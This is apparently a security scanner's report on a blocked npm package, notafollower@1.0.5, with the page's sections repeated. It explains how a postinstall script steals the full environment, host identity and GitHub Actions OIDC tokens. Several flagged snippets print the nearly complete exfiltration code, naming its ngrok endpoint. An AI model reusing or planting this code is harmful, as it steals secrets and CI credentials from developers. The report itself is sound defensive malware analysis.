notafollower@1.0.5: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

npm installation triggers a postinstall credential and environment exfiltration script. It additionally obtains a GitHub Actions OIDC token when available.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install of notafollower

Impact

Leaks environment secrets, host identity, and potentially CI OIDC credentials to an external endpoint.

Mechanism

postinstall environment and CI-token exfiltration over HTTPS

Attack narrative

During installation, the manifest runs inline Node code that gathers platform, hostname, username, and all environment variables. It sends the serialized data to an external ngrok endpoint. In CI environments exposing GitHub Actions OIDC variables, it first requests the OIDC token and adds it to the outbound payload. Error suppression makes the theft non-blocking for installation.

Rationale

Direct source inspection confirms an unconsented install-time collection and external transmission of environment data and CI credentials. This is concrete credential exfiltration, not a package-aligned operation.

Evidence

package.json

Network endpoints1

mourner-slot-explicit.ngrok-free.dev

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall executes inline Node code during npm installation and suppresses failures.
It collects hostname, username, and the complete process environment, then POSTs it to an ngrok host.
In GitHub Actions it requests the CI OIDC token and includes it in the exfiltration payload.

Evidence against

Package contains no other source files; the manifest’s lifecycle script is the complete observed behavior.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,env:process.env};function s(p){l...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,env:process.env};function s(p){l...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,env:process.env};

High

Suspicious Lifecycle Evidence

postinstall executes inline Node code during npm installation and suppresses failures.

package.jsonView on unpkg · L5

5function s(p){let b=JSON.stringify(p);let r=https.request({hostname:'mourner-slot-explicit.ngrok-free.dev',path:'/?cross_os_cloud=1',method:'POST',headers:{'Content-Length':Buffer.byteLength(b)}},()=>{});

High

Ai Review Evidence

It collects hostname, username, and the complete process environment, then POSTs it to an ngrok host.

package.jsonView on unpkg · L5

5if(process.env.ACTIONS_ID_TOKEN_REQUEST_URL){const u=new URL(process.env.ACTIONS_ID_TOKEN_REQUEST_URL);const q=https.request({hostname:u.hostname,path:u.pathname+u.search,headers:{Authorization:'Bearer '+process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN}},(res)=>{let b='';res.on('data',c=>b+=c);res.on('end',()=>{d.oidc_token=b;s(d);});

High

Ai Review Evidence

In GitHub Actions it requests the CI OIDC token and includes it in the exfiltration payload.

package.jsonView on unpkg · L5

package.json#scripts.postinstallView file

•scripts.postinstall = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,env:process.env};function s(p){let b=JSON.stringify(p);let r=https.request({hostname:'mourner-slot-explicit.ngrok-free.dev',path:'/?cross_os_cloud=1',method:'POST',headers:{'Content-Length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}if(process.env.ACTIONS_ID_TOKEN_REQUEST_URL){const u=new URL(process.env.ACTIONS_ID_TOKEN_REQUEST_URL);const q=https.request({hostname:u.hostname,path:u.pathname+u.search,headers:{Authorization:'Bearer '+process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN}},(res)=>{let b='';res.on('data',c=>b+=c);res.on('end',()=>{d.oidc_token=b;s(d);});});q.on('error',()=>s(d));q.end();}els

High

Manifest Script Environment Exfiltration

An npm script serializes the process environment and posts it to an external host.

package.json#scripts.postinstallView on unpkg

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,env:process.env};function s(p){l...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,env:process.env};function s(p){l...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,env:process.env};

High

Suspicious Lifecycle Evidence

postinstall executes inline Node code during npm installation and suppresses failures.

package.jsonView on unpkg · L5

Findings

1 Critical5 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighManifest Script Environment Exfiltrationpackage.json#scripts.postinstall

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

LowScripts Present

LowNo License